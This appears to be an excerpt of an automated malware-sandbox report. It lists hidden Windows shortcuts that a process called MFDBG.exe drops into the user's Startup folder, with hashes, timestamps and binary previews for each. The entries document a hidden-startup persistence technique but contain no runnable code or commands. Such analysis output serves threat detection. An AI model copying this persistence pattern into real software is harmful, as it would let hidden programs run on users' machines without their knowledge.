File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921524386842846
Encrypted:	false
SSDEEP:	24:8OBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8k4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	4E32F7F0ACE0D0F7F2E92F225D16B45B
SHA1:	72BF48EDEF165AFF6D52870F2C74AEC587458FC8
SHA-256:	1F1EA0ECECF677ACCCF04E872B9646EFD26D124437038250D17A950F8E72FC94
SHA-512:	973EEBE2C9D9AD2088997F18DFDBFE6A1358998DDD22E2AFA65DB9A0F91E11788746835D15D378BA4DC20F11DE3390EC2A405EE94D41186734EB0E9908362AC6
Malicious:	false
Preview:	L..................F....".......d...d.=}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....U}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e2978ee49ccb4db19bf257228bb79a04.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.909832858352627
Encrypted:	false
SSDEEP:	24:8JBfx8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8zeEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2147B93C0201BE3502FD1E8F42E27FB6
SHA1:	8ABC1D88865DA4C40FF2271EB4F567FBEAB6749F
SHA-256:	D5F26D18D52DBB297A88FCADBA54E226F860834262BDFDEDC5E6179AF7F39369
SHA-512:	385B28BCA78089B41498CE716D1CB5FFC5FE9DA0EFA6A4027FD5FF61955413D25FA5F5213A42360C215C6235CD141EEAC44FFD5CB53FE8EF965C805D9D521238
Malicious:	false
Preview:	L..................F....".......d...1W<9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e2b0d008589a43ffa57027fc95dec1a8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916422574055634
Encrypted:	false
SSDEEP:	24:87Bfr8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tgEvZ0yRO7DLO2zdxdRd1kyg
MD5:	65DCC31F8E6FDAB9FC1003F0C25C4D1B
SHA1:	AE2DDB1E39347088D6B26981B267A988B53DFAF7
SHA-256:	3FD58311F9EF7BEA94682802E7D4025330B81107BADA9B4917F6A9626F704F74
SHA-512:	5B344A22890ABBAF752834DD897A3320933616175E366F430B7C14476B3339CEBF645F576776B8BE8AAA47FFBD8200A50DD7CA4F7A9F95CA435FBBD9E0B96151
Malicious:	false
Preview:	L..................F....".......d.....[\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....p\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e2c620c31afa41bc83c10a028fd47ab0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.916462305746486
Encrypted:	false
SSDEEP:	24:8rBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	00E705CB515E7A6E0D0EF518C4135645
SHA1:	CC9C019AB48C912AF4FFAC252F80CF312C4BCF63
SHA-256:	43ABDB67AEFAB6867096FF01927EEB8451A653129D76B376D4C39287934C0657
SHA-512:	0D5EA03AF6D8BFAC88C57938F16A83D02682E2EE8851617781488B7A7D9FE7054FCF5A358291AAEA01ABE9598FC2567AB7387AC0DDE28B94A27775431F78E86B
Malicious:	false
Preview:	L..................F....".......d...B.M[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....1[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e2f75b72e9834a9ebe41f4c443e2fca2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929727068837653
Encrypted:	false
SSDEEP:	24:8kBfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8K59EvZ0yRO7DLO2zdxdRd1kyg
MD5:	90C0E8E2DCA5F26BBB2D501F7E74E92E
SHA1:	19E22B449321C41CDBCBEA4B1AE49286E022BD3C
SHA-256:	906A7CFECDD0428FB2B2C719FF35B66D3AE4A94F9D099576B89110D369DFF8CD
SHA-512:	0CCE5639A195F29060D66D478D511E9963F83F7EFE4609C4BBC36386775B593E40BDAA54E4EC1FFE9BA5F95E3A764A221941F7824C28DEA8F428F40E475EC7F1
Malicious:	false
Preview:	L..................F....".......d...v..>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....+.>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e33a63152c3f44fba0d7fcbba2735872.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9234685639497595
Encrypted:	false
SSDEEP:	24:8urBfR8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8u+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	F578A2EBDFF9B8931B9F878A11A52140
SHA1:	FB64E5086E577CEF52120726952B64E4BC5CC7F7
SHA-256:	1FECDE3D0BE94F9D1BAF5C036F863D2F9511462230D760FBF90C2990EBD51769
SHA-512:	F0F81CCB83E4789FC13D1DF5639D2A44FE463BCFBF1DED3F431716D712D32563CF3FA43319A76040CC120F685EB067D40602FADDA656AF4D4FD7418E7B2F5D13
Malicious:	false
Preview:	L..................F....".......d...O..#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...b..#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e3535f3a13fe494bab7fc46edf2b3d27.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922183883856012
Encrypted:	false
SSDEEP:	24:87Bfwof8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8tWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CDF13A52A529CDC9DAC772395385DA91
SHA1:	DDDB2EC3688774B0F511447660356B311AEE10A0
SHA-256:	47DDDD7B7E8F7921527DEE175DEBFCF0690F26FAAEA3CF23A056175F448EB3C2
SHA-512:	3707DABEFE0763209DE2BA10E33FBF923D70DA3B25969C1234A6C90B0D5AFD1203305276319FF5E55A54082A2A44B0E5F8A3162612BB7BCD940C3D286C68FBB2
Malicious:	false
Preview:	L..................F....".......d.....Y[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....:W[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e365100e3272463bbd6ffa36aa53142c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922357440664436
Encrypted:	false
SSDEEP:	24:8NQBfL8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84gEvZ0yRO7DLO2zdxdRd1kyg
MD5:	502E87A68226CDC98D2F8D8D609BF419
SHA1:	76549D06B74633DEC3AF313A2480522C015926BB
SHA-256:	0C8A14F581DBC46ACE63D1549C4E3298FF7BDC32DB2FF28D4E6AD9407E0084F6
SHA-512:	E017051BD9A01A3CF8BC7D0D8CDCC6F4DE8FEA6FDAA8ACDCE987A7B075A27C503C81297E3626B4D0829C21946CD74D4724BB1EF6FAA3FEB127A1CE16F353F737
Malicious:	false
Preview:	L..................F....".......d.....\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....`.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e36fb09aef6d4c43852d94cf4decf380.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926978685155922
Encrypted:	false
SSDEEP:	24:8GBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	968F050FFFEB1E19AB887E7A22EC29F1
SHA1:	939DDB26F55459D9FBBE66DF655A81A62549D0E7
SHA-256:	94E13E6F11848A5604B41732EFFBB660B01766DFE8402510E226FD03F8A9F5A0
SHA-512:	F9BD20D6E162E5A7C062CEF590EBBE267E2860B65AAC344C8B932780542958DBC4364DB571ED45421B79F5B5E56F3547421FDFFAE4777604214FAFFF476AB816
Malicious:	false
Preview:	L..................F....".......d......Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e3ec8acd27e34938a13e55943e7532a0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920251397029579
Encrypted:	false
SSDEEP:	24:8u2Bfwof8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8hWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5A4134766558D509C0B0DAB61BD27704
SHA1:	37823581EC0B4272CFD3744BC6BC11C3B4F6625A
SHA-256:	D46A24531FDE9374DA13F595E4E9E0968FD28C87B7075E1CAA8330CE52CFF157
SHA-512:	B5D2AB9AF6F885EB9872238696EEEB104E2DAC7DE0168FB1AE759AB871A029407909570532187682DF79BC0A99F3D03F36CC8C93CB0C02B57ED61E37C23DAA5A
Malicious:	false
Preview:	L..................F....".......d....:W[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....:W[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e43a100cb7794e6c8e216304337aa432.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922445427862772
Encrypted:	false
SSDEEP:	24:8fBf048EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8p89EvZ0yRO7DLO2zdxdRd1kyg
MD5:	D055D0527D168985B3F48B31999C511B
SHA1:	28236A45EBCAAA554CA36DF75657740A97C21CE9
SHA-256:	3A229625BDFC9589F2FB40FD451929D50EC8FC8CC491654470C78E9B4F861317
SHA-512:	425AB20226D599F238E211F24CC3D887915F58C65EC0B9B39029C6301935BFAC42CE91611FEEAC324471B724EEF24AA8797EEEA785E5E20C2402EBC87A88DC9A
Malicious:	false
Preview:	L..................F....".......d...X...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e48f2b0ac2904a2cba40c95dc6d2c4ae.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:01 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930070997935066
Encrypted:	false
SSDEEP:	24:8dpBfrp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dTyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9FACE50F0AA8BF0D6C5A5E1CE42DFA83
SHA1:	51C97DD114406FA02496E37A165E32423968E7DB
SHA-256:	195788A668CE508F76BA80EA8ADE3DB49C50742D52101189CE9844A951ECEBFC
SHA-512:	7606F821165FC486084CBC5B6475030BEEFFB0426A45BEBB54A69330C86ED212B663F13691B6F15F14ED55818B519B856E6A001B72DACFA2389D3639142CB349
Malicious:	false
Preview:	L..................F....".......d.... '.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...{...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e4ae840d37f44296a777a752c67ce107.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9218399547586005
Encrypted:	false
SSDEEP:	24:83Bfp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8RGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	19277C9F91BFDD10093BD312C9784009
SHA1:	A5CE651C9EB2D11D0BA8DBDBBFA42302F359150A
SHA-256:	B76EA8AF855AAB7DD0A5C03872F3B45BE5430E0C95974DBCD7981551444D19C8
SHA-512:	B11C3B5BDEB887B15329D2DFE1DDCCCE36E32453FACAC776182C105645D804389D2091FA28F60AE13F958B6C35D9998F349060A1BAA81B03CD9C8EECEBA2E330
Malicious:	false
Preview:	L..................F....".......d....J.Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Y..Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e4d39e5831514030ad69549844376c40.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
